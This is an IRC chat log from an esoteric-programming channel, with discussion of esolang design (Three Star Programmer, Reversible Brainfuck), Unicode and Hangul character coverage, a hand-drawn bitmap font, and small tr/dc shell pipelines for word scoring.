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01:07:06 <tswett> Isn't zwnbsp the byte-order mark?
01:07:44 <tswett> And isn't that deprecated?
01:07:55 <\oren\> but it will prevent the combining characters from doing so
01:07:57 <tswett> Like, you're supposed to use the... word non-joiner?
01:09:03 <tswett> Here we go. Zero-width non-joiner. U+200C.
01:09:03 <\oren\> everything is deprecated
01:15:35 <\oren\> wow zwnbsp doesn't work either
01:19:14 <\oren\> ๆ ็ ่ ้ ๊ ๋ ์ ํ ๎
01:24:56 <\oren\> hmm the accents (?maybe not called tat) aren't showing up in my terminal
01:26:01 <\oren\> but this terminal is optimized for CJK...
01:26:24 <\oren\> ...whitch doesnt' have any accents, so ok then
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02:02:18 <quintopia> you should finish one implementation of one language
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02:41:04 <boily> vinestalker monk with blade hands. mwah ah ah ah ah ah AH AH AH AH AH :D
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04:34:25 <quintopia> i wrote you a 3sp in python. python handles the dynamic memory allocation
04:34:48 <ais523> yep, I saw it patrolling the wiki
04:34:50 <quintopia> now can you explain to me how one would go about doing anything of interest in it
04:34:57 <ais523> it's probably less efficient than the C
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04:36:53 <ais523> quintopia: http://nethack4.org/esolangs/cytag-to-3*.pl is my notes on how to program in it (is eventually planned to be a compiler but so far I've only written the docs)
04:38:18 <ais523> however it has most of a complete program there, with "fill in the gaps" suggestoins
04:38:31 <ais523> just needs me to get motivated to finish it; the problem is a rather more complex construction is needed to produce output
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04:51:54 <quintopia> ais523: okay makes sense. sort of what i expected i guess. would it be possible in any way to make input of any sort work and do anything useful?
04:52:17 <ais523> the problem is trying to come up with an input method that fits the flavour of the language
04:52:36 <quintopia> so you've got nothing, is what you're saying?
04:52:59 <ais523> or, well, you'd probably have to write -1 in the program to take input
04:53:08 <ais523> but it's unclear precisely what it would do if you did
04:53:31 <ais523> you couldn't take input unconditionally (or else you'd be forced to input faster than output), so it'd have to do nothing based on the value of a particular tape element
04:53:36 <quintopia> the obvious thing to me is to specify an "input register" that, for each character of input, gets run ord(c) times
04:54:10 <ais523> what do you mean by "gets run"? you mean that it gets dereferenced three times and that target is incremented ord(c) times?
04:54:31 <quintopia> and let it be specifiable by the program
04:54:51 <ais523> how do you control whether input is even read, though?
04:55:17 <ais523> one thing I care about is not breaking backwards compat on programs that don't understand I/O
04:55:22 <ais523> that's easy with output but harder with input
04:56:13 <quintopia> well if you could fix which register is the input register, then do that. two even numbered registers like with output
04:57:04 <ais523> output is odd numbered registers (intentionally, because I had something like the construction I linked in mind when I set things up)
04:57:17 <ais523> although it turns out that all that's really required is for them to have low numbers and skip 0
04:58:08 <quintopia> as far as backwards compatibility, don't you already include a flag for turning IO on and off in your interpreter?
04:58:37 <ais523> nah, the first interp I wrote is very basic
04:58:45 <ais523> it always gives debug output and I/O, although to different output channels
04:58:55 <ais523> so you can pipe them to /dev/null
04:59:10 <ais523> also it's very slow as it re-parses the input each main loop
04:59:19 <quintopia> well, perhaps you could just have it be nonblocking IO. do nothing if it fails to read a byte. then it's backwards compatible.
04:59:30 <ais523> haha, I like that actually
04:59:50 <ais523> it fits in excellently with some plans I had for something related
05:00:03 <ais523> also doesn't "fragment the language" like adding an option would
05:00:46 <ais523> it'd be harder to golf an interp (and Three Star Programmer is by far the simplest OISC I know, and I've looked at a bunch recently), so there are downsides
05:00:55 <ais523> but you can always make a no-input interp to get it as small as possible
05:06:47 <quintopia> i think 3sp will go in the record books for "shortest interp"
05:07:03 <quintopia> even with IO its like three statements in a loop
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05:07:36 <quintopia> (compared to resplicate's 6 w/o IO)
05:08:18 <ais523> quintopia: you can write the main loop of a MiniMAX in eight bytes
05:08:40 <ais523> that's possibly beatable but I don't know how
05:08:52 <ais523> ofc, reading in the program, I/O, et., are all expensive
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05:17:28 <quintopia> i can't wait to chain your resp->cytag compiler with your cytag->3SP to get rot13 in 3SP
05:17:38 <quintopia> (although, i'd have to add I/O to the former)
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05:30:47 <ais523> quintopia: err, my compiler's the other way round, cytag->resplicate
05:31:43 <quintopia> i'll figure out the other way. sounds like a hard problem
05:32:17 <ais523> cyclic tag shouldn't be an awful compilation target, though; it's based on tag systems (and has a pretty direct compilation from them), which in turn have a relatively direct construction from Turing machines
05:32:29 <ais523> the problem is that you have an O(n) slowdown
05:45:39 <zzo38> The following command can be used to calculate how much it is worth in Scrabble: tr a-z A-Z | tr -dc A-Z | tr A-Z 133214241813113A11114484A | utftovlq 8w | tr \\0 + | dc -e '0?p'
05:52:03 <ais523> what does utftovlq do?
05:53:23 <zzo38> It converts the input; in the case "utftovlq 8w" it will add a null byte after each byte of input.
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06:18:44 <quintopia> zzo38: that sounds like a good golfing challenge
06:36:29 <quintopia> zzo38: did you create that command yourself
06:36:55 <quintopia> zzo38: could you also include in the command a check that the word is in the ospd
06:37:54 <quintopia> zzo38: or else at least make sure it is the right length and doesn't contain more copies of a letter than are included in a scrabble set
06:40:42 <zzo38> I did write both utftovlq and the full pipeline text by myself. I did not intend it to check validity, although that can be another program.
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06:48:25 <zzo38> To do a Pythagorean numerology method you can do: tr A-Za-z 1-91-91-81-91-91-8 | tr -dc 0-9 | dc -e '?8+9%1+p'
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06:51:42 <zzo38> http://zzo38computer.org/prog/utftovlq.zip
06:52:23 <zzo38> It is compatible with both text and with binary data.
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06:54:49 <zzo38> It includes the man page too
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06:56:43 <zzo38> And it contains several examples of how to do it!
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07:58:35 <quintopia> ais523: why is it that in the reduction at https://esolangs.org/wiki/Reversible_Brainfuck the first block of four has the search mark and data cell positions swapped?
07:59:23 <ais523> quintopia: you might want to ask oerjan (who wrote that construction) rather than me (who merely invented the language)
08:11:15 <\oren\> I've successfully generated a TTF version of b_jonas's fecupboard20
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08:13:02 <\oren\> (so I can try it in my terminal)
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08:15:14 <\oren\> this is how it looks http://www.orenwatson.be/fecupboard20.png
08:17:17 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45693&oldid=45692 * Hppavilion1 * (+1138) /* The operators */ New sections, !!
08:17:50 <\oren\> the native size appears to be 15 points
08:23:46 <\oren\> wait, that's obvious: 20 px * 0.75 pt/px = 15 pt
08:24:50 <\oren\> qwertyuiopasdfghjklxcvbnm
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08:38:11 <quintopia> hppavilion[1]: it needs a section for string/sequence operators
08:43:06 <quintopia> i just had an idea though. a tape language with two tapes where the only control flow is swap tapes. dp becomes ip and v/v. (or you specify ip when swapping). its reversible!
08:59:36 <ais523> have the data pointer only able to move backwards
08:59:47 <ais523> and see if you can still make it TC
09:00:15 <ais523> (almost certainly you can if the language is complex enough, I was thinking more of a tarpit)
09:07:21 <quintopia> one further: swap tapes also swaps the meanings of instructions to their reversed equivalents :p
09:07:50 <Jafet> A language based on excellent-bifurcation
09:08:38 <hppavilion[1]> Jafet: Bifurcation as in ~ATH, or is that a word outside of ~ATH I haven't heard before outside that context?
09:10:20 <Jafet> Hmm, maybe that doesn't make sense
09:10:53 <ais523> hppavilion[1]: "bifurcation" is a generally applicable English word, but one that isn't used very often
09:11:14 <ais523> https://en.wiktionary.org/wiki/bifurcation
09:11:42 <ais523> wow, it has a lot of definitions, but most of them are just more specific versions of the general one
09:11:45 <Jafet> It would need to have two threads, each of which has a fixed behaviour, and the crucial control flow is to swap them
09:11:55 <ais523> specialized to certain themes
09:14:18 <Jafet> Not quite, the threads would run in parallel, and don't swap every cycle
09:15:13 <Jafet> https://www.allegro.cc/depot/ExcellentBifurcation
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12:30:45 <izabera> cool, allegro is still active
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12:33:12 <izabera> actually most of those memories are related to my high school crush because he taught me
12:36:38 <ais523> is this allegro the rendering library?
12:36:46 <ais523> err, also input and so on, but mostly rendering
12:37:14 <ais523> I used that in my second year project for drawing the predicted path of a robot with various motion algorithms
12:37:25 <ais523> mostly because I wanted to compare the algorithms, prior to placing them into the robot
12:45:33 <oerjan> hm would that have been a double reference
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13:07:20 <oerjan> next up, trying to understand your 3 year old brainfuck derivate code
13:10:23 <oerjan> obviously quintopia is right about the layout, now i'm wondering about the [ ] reductions...
13:12:34 <oerjan> as in, i'm starting to be pretty sure the translation for [ should start [<< not [>>
13:13:41 <oerjan> i have to remember that [ works opposite to normal brainfuck. aaargh
13:14:27 <ais523> that's the whole point of the language, after all :-)
13:14:57 <oerjan> argh i don't have vim on this rented pc
13:15:07 <oerjan> (and i cannot install it, it's too locked down)
13:17:19 <ais523> what programming languages do you have available, if any?
13:17:33 <ais523> are any of them IO-complete enough to write a quick vi clone?
13:17:49 <oerjan> well technically i can use vim inside the putty tmux, which is on a linux system.
13:18:08 <oerjan> ais523: that seems a little excessive
13:19:13 <oerjan> actually i mainly wanted it to match brackets for me, but i found them by eye.
13:20:21 <ais523> that sounds like almost as much overkill as the time I wrote a bracket-matcher using the MediaWiki API
13:20:30 <boily> isn't there a standalone vim version for windows?
13:20:42 <boily> his523. that sounds painful.
13:20:47 <ais523> (admittedly it was intended to match brackets in MediaWiki markup, which has both {{ }} and {{{ }}} as bracket-pairs and writing things like {{{{{{{ is perfectly legal)
13:21:04 <ais523> (so using the existing parser over the API is easier than trying to figure out wtf the input means)
13:21:46 <boily> is {{{{{{ {{ {{ {{ or {{{ {{{?
13:22:39 <ais523> boily: it's {{{ {{ {{ or {{ {{{ {{ or {{ {{ {{{ depending on what sort of closing brackets you match it with
13:23:08 <boily> oh, there are seven of them.
13:23:15 <FireFly> oerjan: about the layout of what?
13:23:25 <ais523> boily: now you see why I wrote the bracket matcher ;-)
13:24:56 <FireFly> also wow, that sounds horrible, about {{{{{{{
13:26:41 <oerjan> FireFly: https://esolangs.org/wiki/Reversible_Brainfuck#Computational_class
13:29:27 <boily> fahrenheit furlong firkin?
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13:35:08 <oerjan> ok i think my [ ] code is still correct
13:35:20 <HackEgo> [wiki] [[Reversible Brainfuck]] http://esolangs.org/w/index.php?diff=45694&oldid=33896 * Oerjan * (+18) /* Computational class */ Whoops
13:35:31 <b_jonas> “a bracket-matcher using the MediaWiki API” hehe
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13:41:05 <oerjan> hm right the code was correct so testing wouldn't have revealed it. not that i remember if i did any...
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13:48:18 * oerjan thinks ais523 has an unstable connection
13:48:33 <ais523> this is actually much more stable than usual atm
13:48:54 <b_jonas> I have multiple unstable connections
13:49:02 * int-e wonders when oerjan sleeps these days
13:49:06 <b_jonas> I connect to irc from the least unstable.
13:49:30 <oerjan> int-e: woke up an hour ago
13:50:02 <oerjan> but it's been unstable
13:51:21 <lambdabot> Local time for oerjan is Sun Nov 29 14:51:20 2015
13:52:17 <b_jonas> meh, everyone here is either from Norway or the UK, so everyone is within an hour localtime.
13:52:20 <int-e> not lambdabot's fault if oerjan's client is lying
13:52:31 <oerjan> b_jonas: not \oren\ hth
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13:53:13 <oerjan> my client is quite accurate.
13:53:36 <lambdabot> Local time for shachaf is Sun Nov 29 05:53:35 2015
13:54:22 <b_jonas> oerjan: and liftrashir is from the antipodes, yeah
13:55:14 <oerjan> i recommend tab completion hth
13:56:03 <oerjan> your client is so broken it doesn't even support VERSION tdnh
13:57:52 <FireFly> I don't think we have a lot of regulars from Norway
13:57:54 <int-e> perhaps that's intentional
13:58:03 <oerjan> <b_jonas> I don't know how russian works. <-- afaiu russian has a completely sensible system for marking stress that no one uses. probably a trap to keep foreigners from learning proper pronunciation (the stress affects _everything_ else)
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14:01:06 <b_jonas> oerjan: yeah, basically. but also, I hear they do mark stress in a few cases where the word would be ambiguous without.
14:01:41 <b_jonas> but where are the precomposed vowels with stress marks?
14:02:15 <b_jonas> and don't say they're rare, because so what? unicode is full of precomposed combinations that are rare. I think it even has korean syllables that were never used.
14:02:49 <b_jonas> (although maybe there are some people who have it as their life goal to invent words with all ten thousand possibly syllables, or something.)
14:06:09 <FireFly> Meanwhile characters in APL that are clearly two characters with one overstruck on the other are all precomposed, meaning one can't easily extend it to new ones
14:07:07 <b_jonas> FireFly: well, you can't have more than 2**12 characters all together even with overstriking, because there's only 12 holes in a column, right?
14:07:19 <b_jonas> so it's a bounded set, even if we haven't exhausted it all.
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14:08:34 <FireFly> hm wait, did the /bits/ in the encoding overstrike as well?
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14:08:58 <FireFly> or where does "12 holes in a column" come from?
14:09:11 <b_jonas> FireFly: not in APL, but in some punch card programming languages yes
14:09:24 <FireFly> Fascinating, I didn't realise that
14:13:20 <lifthrasiir> b_jonas: my survey indicates that every precomposed korean syllable is used somehow, even very infrequently (the minimum frequency of 1 over 10 years of IRC log)
14:16:05 <FireFly> Now use that corpus to produce a (syllable, count) table?
14:16:16 <FireFly> might be interesting to see which ones are least frequent
14:17:05 <lifthrasiir> anyway, I believe that the primary rationale for the full set of 11,172 hangul syllables is that it is not easy to split "frequently used characters" from "infrequently used characters" (the set is very variable, ranging from 2,000 characters to 8,000 characters) and the split is not really beneficial at that point
14:17:29 <lifthrasiir> algorithmic assignment of hangul syllables simplified the job of every implementor a bit
14:17:59 <lifthrasiir> FireFly: http://cosmic.mearie.org/2012/06/hangeulusage/freqs.txt
14:18:18 <FireFly> Hm, what is the third column?
14:19:45 <lifthrasiir> KS X 1001 is a widely used set of "frequent" characters (cardinality 2,350), but in my dataset the first character not in KS X 1001 was at #636
14:20:38 <lifthrasiir> my count was wrong, there *are* some precomposed hangul syllables not in my dataset
14:21:01 <lifthrasiir> there are 1,454 characters left unused out of 11,172 syllables
14:21:37 <FireFly> I should learn hangul, it seems so easy and systematic
14:21:50 <b_jonas> lifthrasiir: oh, being used in IRC doesn't count. people paste random stuff to IRC.
14:22:12 <FireFly> (or re-learn, if you will. I read through a description of how it works once, but didn't really make an attempt to learn it properly)
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14:22:29 <b_jonas> but sure, it's probably worth to include all them
14:22:44 <lifthrasiir> b_jonas: my analysis was that these are either mojibakes or typos (approximately equally probable)
14:36:20 <b_jonas> I'm surprised that oren still hasn't automated drawing all ten thousand for his font though.
14:38:43 <HackEgo> [wiki] [[CompressedFuck]] http://esolangs.org/w/index.php?diff=45695&oldid=44688 * LegionMammal978 * (+62)
14:52:00 <\oren\> I'll eventally do that when I'm done with joyo kanji
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15:41:14 <lifthrasiir> compression algorithm tailored to brainfuck seems to be a niche
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16:04:38 <izabera> https://www.destroyallsoftware.com/talks/useing-youre-types-good very funny
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16:38:04 <\oren\> no way would win98 boot that fast tho
16:39:17 <\oren\> hahahah dependedncy injection attack
16:40:06 <\oren\> omg it's in comic sans too
16:43:59 <\oren\> b_jonas: should I put the ttf version of fecupboard20 up on my website?
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16:49:28 <\oren\> Or perhaps you'd like to ost it on your webitE?
16:54:28 <\oren\> why doesn't windows support any bitmap fonts anyway?
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17:35:13 <\oren\> I have 100 characters to add left before I reach 6000
17:40:49 <lifthrasiir> \oren\: http://cosmic.mearie.org/2015/11/font/test-sample.png I've beaten you! (of course, kidding)
17:41:22 <lifthrasiir> I've converted the *existing* compositional font into my system
17:44:26 <lifthrasiir> \oren\: http://ix.io/mxH this comment may be useful for you
17:45:07 <lifthrasiir> the actual commercial fonts go through additional adjustments (mostly for KS X 1001 characters), but that should give a baseline
17:45:40 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: pastequote: not found
17:45:48 <HackEgo> 12) IN AN ALTERNATE UNIVERSE: <pikhq> First, invent the direct mind-computer interface. <pikhq> Second, learn the rest with your NEW MIND-COMPUTER INTERFACE. \ 16) IN AN ALTERNATE UNIVERSE: <bsmntbombdood> there is plenty of room to get head twice at once \ 17) <oerjan> In an alternate universe, ehird has taste \ 18) IN AN ALTERNATE UNIVERSE: <oer
17:46:27 <\oren\> quintopia: it is made huger by the fact I draw every character by hand sepaaretly
17:49:16 <\oren\> (thats why in early versions there were differences among characters that are suppoesed to be the same with different accents)
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17:56:13 <\oren\> Theoretically it should be possibleto generate Chinese characters from radicals. But I've never heard of anyone doing it
18:02:23 <Melvar> To the best of my knowledge, many have tried, but nobody has made it work satisfactorily.
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18:15:38 <\oren\> ok, so today's additions bring it to 5978: 22 characters to go!!!!!!
18:25:40 <lifthrasiir> \oren\: you should definitely look at CHISE dataset.
18:25:51 <lifthrasiir> \oren\: sth like this: http://git.chise.org/gitweb/?p=chise/ids.git;a=blob;f=IDS-UCS-Basic.txt
18:26:39 <lifthrasiir> also, on the synthetic composition of Chinese fonts, see http://glyphwiki.org/
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19:05:42 <Sgeo> My client claimed I was K-Lined....
19:06:00 <Sgeo> Or D-lined or something
19:06:03 <Sgeo> * *** You have been D-lined
19:06:04 <Sgeo> * Closing Link: ool-44c0f875.dyn.optonline.net (K-Lined)
19:07:09 <Sgeo> Before that, got something like "(Sorry, server is full - try later)"
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20:09:40 <jaboja> Are there any experiments with implementing "bleem"/"gird" integer (the hidden integer between 4 and 5) into an integer type?
20:15:57 <\oren\> What should the 6000th character be?
20:16:42 <izabera> the deathly hallows symbol
20:16:43 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unidcode: not found
20:16:50 <HackEgo> [U+10127 AEGEAN NUMBER SIX THOUSAND]
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20:30:17 <\oren\> I'm going with 飛 as in 飛ぶ
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20:40:11 <izabera> it's over five thousaaaand
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20:51:15 <quintopia> \oren\: how do people usually do it
20:55:04 <\oren\> I think they typically draw one e and then add the accents automatically
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21:13:13 <\oren\> and nothing of value was lost
21:13:36 <\oren\> er, wait. oerjan? NOOOOOO!!!!!!
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21:14:10 <fungot> int-e: time travel allows hypercomputation. i
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21:26:01 <lambdabot> shachaf said 7h 17m 10s ago: cabot du chien
21:26:21 <boily> hellochaf. le cabot du chien, c'est pas quelque chose qu'on voit souvent.
21:31:03 <boily> as-tu déjà vu le cabot d'un chien?
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21:54:49 <\oren\> !@#$%^&*()_{}|:"<>?1234567890-=[]\;',./
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22:02:41 <boily> he\\oren\. testing your font?
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22:06:56 <\oren\> testing b_jonas' font actually
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22:12:58 <izabera> what if i write a firefox extension to hide ads on $site and then i link it in the comments on $site ?
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22:13:41 <izabera> i mean it could be useful to others
22:14:17 <FireFly> Do the ads slip through the usual adblock extensions?
22:14:50 <FireFly> I wonder if it's just a matter of missing lines from a blacklist
22:14:53 <FireFly> or if they do something clever
22:15:11 <izabera> no that blacklist can't work because this particular ad is hosted on their own server
22:15:23 <FireFly> Maybe one could blacklist based on path
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22:20:18 <zzo38> izabera: I expect it might depend on the site. Some sites will be fine with it. Some sites might ban you. Others might modify their site.
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22:39:49 <FireFly> I think most places would remove the comment, but I suppose it depends on the site and some might be more tolerant
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22:44:50 <oren> ittai nani ga attanda!
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22:59:46 <\oren\> boily: 俺のIRCコンネクトが中止された
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23:10:25 <Sgeo> quintopia, I don't understand ligatures
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23:14:50 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45696&oldid=45682 * Luis Mendo * (+465) /* Specification */
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23:18:43 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45697&oldid=45696 * Luis Mendo * (+0) /* Compiler */
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23:39:08 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45698&oldid=45693 * Hppavilion1 * (+2967) /* Bitwise */ Normal Bitwise Operators (NOT, AND, OR, XOR, NAND, NOR, XNOR)
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23:54:36 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45699&oldid=45698 * Hppavilion1 * (+2753) /* Bitwise */ INTERCALlian operators
23:57:53 <hppavilion[2]> I just submitted !eso as a bang for Duck Duck Go to autosearch the wiki
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23:58:48 <quintopia> Sgeo: its just displaying pairs of characters differently than individual characters
23:59:15 <Sgeo> But that character that qntm mentioned isn't involved at all for the man/man and woman/woman ones, that's what confused me
00:01:34 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45700&oldid=45699 * Hppavilion1 * (+401) /* Bitwise */ SELECT
00:02:27 <hppavilion[2]> Should I define ‰ as the Exponential Modulus operator?
00:03:08 <quintopia> android might be different than iphone
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00:05:22 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45701&oldid=45700 * Hppavilion1 * (+573) /* Arithmetic */ x**y (mod z) with ‰
00:05:55 <FireFly> hppavilion[2]: why not spell it as x**y%z instead?
00:06:24 <hppavilion[2]> FireFly: You mean the operator or the demonstration I used to represent what it does?
00:07:03 <FireFly> I think keeping the syntax orthogonal and optimizing it as a special case is neater
00:07:24 <FireFly> and detecting that pattern wouldn't be too hard, I suppose
00:07:49 <hppavilion[2]> FireFly: Oh, x**y%z can be done fairly efficiently as its own operation in comparison to calculating x**y then calculating that mod z. I just was considering making it its own operator so that special cases aren't needed. And so that it's more obvious to the programmer that it's special
00:08:19 <hppavilion[2]> Because with x**y%z, x**y might give you a giant number.
00:08:33 <FireFly> Yes, I'm aware that there's a more efficient implementation
00:08:49 <FireFly> I think x**y%z with optimisation is a lot more clear than x%y,z
00:08:50 <hppavilion[2]> You're asking why I just don't make it a compiler optimization?
00:08:57 <FireFly> I don't see where x%y,z indicates "exponentiation"
00:09:21 <FireFly> put it in the implementation instead of the spec (or I guess the spec could require that case to be optimised)
00:09:23 <hppavilion[2]> I just wanted to provide a meaning for ‰ in that list xD
00:09:43 <hppavilion[2]> It's not for a language currently, it's just for my collection of operator definitions
00:10:15 <\oren\> 500 internal zerver error AAAAAAAAAAAAAAAA
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00:13:19 <FireFly> not really.. though APL-likes might make for some inspiration
00:13:32 <FireFly> they're full of operators, and at least half of them could probably be seen as esoteric
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00:13:57 <FireFly> I'm fond of the #: #. base conversion operators in J
00:16:23 <hppavilion[1]> Also, dear GOD \oren\, what is wrong with your euro?
00:19:00 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45702&oldid=45701 * Hppavilion1 * (+548) /* The operators */ Conversions and ? operator
00:19:02 <\oren\> ????? is there something worng with it?
00:19:17 <hppavilion[1]> \oren\: The two middle strokes are way too far apart and close to the curves
00:19:43 <\oren\> ok then I'll change it
00:20:07 <hppavilion[1]> I did not /realize/ currency signs could be in the uncanny valley
00:22:10 <HackEgo> [U+00A4 CURRENCY SIGN] [U+0020 SPACE] [U+0020 SPACE] [U+20AC EURO SIGN]
00:23:02 <izabera> `unidecode ₧€₪₠₡₢₣₤₥₦₨₩₫₭₮₯₰₱₲₳₴₵
00:23:03 <HackEgo> [U+20A7 PESETA SIGN] [U+20AC EURO SIGN] [U+20AA NEW SHEQEL SIGN] [U+20A0 EURO-CURRENCY SIGN] [U+20A1 COLON SIGN] [U+20A2 CRUZEIRO SIGN] [U+20A3 FRENCH FRANC SIGN] [U+20A4 LIRA SIGN] [U+20A5 MILL SIGN] [U+20A6 NAIRA SIGN] [U+20A8 RUPEE SIGN] [U+20A9 WON SIGN] [U+20AB DONG SIGN] [U+20AD KIP SIGN] [U+20AE TUGRIK SIGN] [U+20AF DRACHMA SIGN] [U+20B0
00:25:14 <HackEgo> [U+20B0 GERMAN PENNY SIGN] [U+20B1 PESO SIGN] [U+20B2 GUARANI SIGN] [U+20B3 AUSTRAL SIGN] [U+20B4 HRYVNIA SIGN] [U+20B5 CEDI SIGN]
00:25:32 <izabera> no i mean too many to unidecode
00:27:04 <\oren\> ¤ is in my font in the latin 1
00:27:34 <\oren\> because thats where it is
00:28:08 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45703&oldid=45702 * Hppavilion1 * (+543) /* Arithmetic */ Hyperoperations
00:28:40 <izabera> i have to say that your font looks so much better with your new s
00:29:20 <izabera> even if it's not new anymore
00:32:13 <izabera> what does OCR mean in Mathematical Operators, misc technical, APL, OCR, etc... ?
00:32:21 <hppavilion[1]> How about a fungeoid where the ONLY instructions are arrows from the Unicode blocks with arrows in them?
00:32:50 <hppavilion[1]> Basically, operations can only be done by colliding data pointers. Yeah.
00:33:03 <izabera> hppavilion[1]: that can't be its meaning?
00:33:20 <hppavilion[1]> izabera: It is. It's special symbols for telling an Optical Character Recognizer what's going on.
00:33:42 <\oren\> hppavilion[1]: yes I update it almost every day
00:33:56 <hppavilion[1]> \oren\: Huh. Didn't know it was released that frequently.
00:34:36 <\oren\> http://www.orenwatson.be/fontdemo.htm
00:34:57 <\oren\> can you see the new s on the page?
00:35:08 <zzo38> What I would want to see is the METAFONT files for Magic: the Gathering symbols. One of the parameters can be version of mana symbols (it looks to me slight changes were made to all color mana symbols, although the white one has more significant changes)
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00:39:14 <izabera> you should add the character count
00:39:29 <\oren\> to the main demo page?
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00:43:55 <HackEgo> [wiki] [[CrashFunge]] N http://esolangs.org/w/index.php?oldid=45704 * Hppavilion1 * (+466) Created Page
00:46:21 <boily> your back his back I back for JS Bach ♪
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00:55:13 <\oren\> did you download the ttf and install it?
00:58:27 <\oren\> http://postimg.org/image/vmiwkjvan/ <-- you should see a dialog like this, then click "yes"
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01:31:13 <hppavilion[1]> \oren\: I downloaded it, hit "install", then agreed to everything
01:32:23 <\oren\> hmm try switch ing to another font and fback
01:35:45 <\oren\> atfet that the new s should be ther
01:42:29 <\oren\> hmm what OS is this anyway
01:43:29 <HackEgo> [wiki] [[List of operators]] http://esolangs.org/w/index.php?diff=45705&oldid=45703 * Hppavilion1 * (+1) /* List Comprehension */ Formatting
01:43:56 <\oren\> I dunno then. I know Win7 it works fine, and on linux nd MacOSX it works fine. I havn't tried XP, Win8 or win10
01:45:21 <hppavilion[1]> I think I need to reboot for it to work, which I don't feel like doing right now
01:46:37 <\oren\> um, does it work in notepad at least?
01:48:07 <hppavilion[1]> I'll reboot it before going to bed and hopefully it'll work in the morning
01:52:04 <hppavilion[1]> What kinds of strange stuff should I do with WalrusOS's version of dc?
01:53:27 <hppavilion[1]> How about... some geometry, along with string manipulation?
02:07:25 <zzo38> I have made some suggestion of ways to improve the UNIX dc program. One thing is to add a "arithmetic if" command
02:16:54 <zzo38> The stack effect ( n z p c -- out ) where out is n if c is negative, z if c is zero or an empty string, and p if c is positive or a nonempty string.
02:17:25 <zzo38> Another thing can be an explicit tail execute command.
02:19:57 <HackEgo> [wiki] [[WalrusOS/Walculator]] N http://esolangs.org/w/index.php?oldid=45706 * Hppavilion1 * (+4532) Created Page, still working
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02:27:22 <hppavilion[1]> zzo38: Can you give me a brief overview of those stack expressions? Just in case there's some subtlety I'm missing. I want to use them for Walculator's spec
02:30:40 <hppavilion[1]> It's OK to use examples like (5 12 -- 60), right? That is, using those stack expressions with constants instead of variables to demonstrate what's going on
02:34:56 <boily> you may have angered the RNG. don't worry if critical failures start to appear a little bit too often on your next rolls.
02:36:50 <\oren\> the random number god?
02:37:07 <hppavilion[1]> I used to have a friend named Olivia and we discussed how the RNG hated her frequently. Then I learned we weren't the only people to have a "Random Number God"
02:37:30 <hppavilion[1]> Then she wrote a long angry vignette about how stupid I was one day and showed it to me for some reason.
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02:39:39 <hppavilion[1]> How do I represent indeterminant numbers of values with stack expressions? Or conditional lengths of argument? E.g. the \' operator pops an integer from the stack called n, then pops n values off the stack and pushes them back on such that they're in the reverse order.
02:40:08 <hppavilion[1]> Is there a way to represent that with forthian expressions?
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02:45:09 <zzo38> hppavilion[1]: Yes for multiplication that could be the stack effect.
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02:51:53 <HackEgo> [wiki] [[WalrusOS/Walculator]] http://esolangs.org/w/index.php?diff=45707&oldid=45706 * Hppavilion1 * (+3748) Some commands
02:52:39 <HackEgo> [wiki] [[WalrusOS/Walculator]] http://esolangs.org/w/index.php?diff=45708&oldid=45707 * Hppavilion1 * (+9) Fixed table formatting
02:53:46 <HackEgo> [wiki] [[WalrusOS/Walculator]] http://esolangs.org/w/index.php?diff=45709&oldid=45708 * Hppavilion1 * (+34) /* Operators and Builtin Functions */ Forgot about some wikitext stuff (notably, double-spark italics and triple-spark bold)
02:57:39 <Sgeo> Why is combining emoji allowed?
02:58:11 <Sgeo> Like, it means fonts can "create" new emoji that others can't necessarily read
02:58:24 <Sgeo> There are iOS emoji that just turn into several emoji when received on other platforms
03:01:11 <HackEgo> [wiki] [[WalrusOS/Walculator]] http://esolangs.org/w/index.php?diff=45710&oldid=45709 * Hppavilion1 * (+1086) /* Operators and Builtin Functions */ Successor and predecessor, changed negate to -' to make - subtraction, made /' RECIP and / normal division, // for floor division
03:01:42 <mauris> fonts could already create symbols that others can't read! (private use)
03:01:44 <hppavilion[1]> Sgeo: You mean like the skin tone combining things?
03:01:59 <Sgeo> http://unicode.org/emoji/charts/emoji-zwj-sequences.html
03:02:06 <mauris> hppavilion[1]: there's also crazy zero-width joiner stuff yeah ^
03:02:19 <Sgeo> According to this, Apple's the only one doing it?
03:03:51 <hppavilion[1]> I'm particularly happy about the 👨❤️💋👨 and 👩❤️💋👩 sequences xD. Good thing they added it, too. Can't imagine the backlash otherwise.
03:05:04 <Sgeo> In theory that single-codepoint couple is supposed to be gender neutral. AFAICT, it isn't displayed as such on iOS
03:05:13 <Sgeo> (It is on Android)
03:05:44 <Sgeo> n/m about Android, but it is on Google's in-browser Hangouts
03:05:54 <\oren\> a basket is a draon made of bamboo
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03:10:03 <\oren\> no, a kanji I'm memorizing a basket is written as 籠 which is bamboo 竹 on top of dragon 龍
03:10:39 <\oren\> sometimes kanji make sense, other times blagh
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03:14:56 <HackEgo> [U+9F8D CJK UNIFIED IDEOGRAPH-9F8D]
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03:21:46 <hppavilion[1]> zzo38: Is there an easy way to generalize forth type expressions (I think that's what they are) to deques? The first one that comes to mind is (1 2 3 ... n-3 n-2 n-1 -- o1 o2 ... bo2, bo1)
03:22:12 <hppavilion[1]> Where o[n] is the nth output to the ToS and bo[n] is the nth output to the BoS
03:29:30 <HackEgo> [wiki] [[WalrusOS/Walculator]] http://esolangs.org/w/index.php?diff=45711&oldid=45710 * Hppavilion1 * (+3603) /* Operators and Builtin Functions */ ROT and ROLL and more
03:29:46 <hppavilion[1]> God, very nearly exited the page before sending that 3.5K character edit
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03:36:50 <\oren\> I usually compose long edits and forum posts in Notepad in case of browser crash
03:41:52 <zzo38> Which astrological house system do you expect would generally be most useful for data which you would print on a calendar?
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03:47:33 <Sgeo> The one divided into 365/366 sections based on the rotation of the Earth on its axis
03:48:08 <Sgeo> `unidecode hello
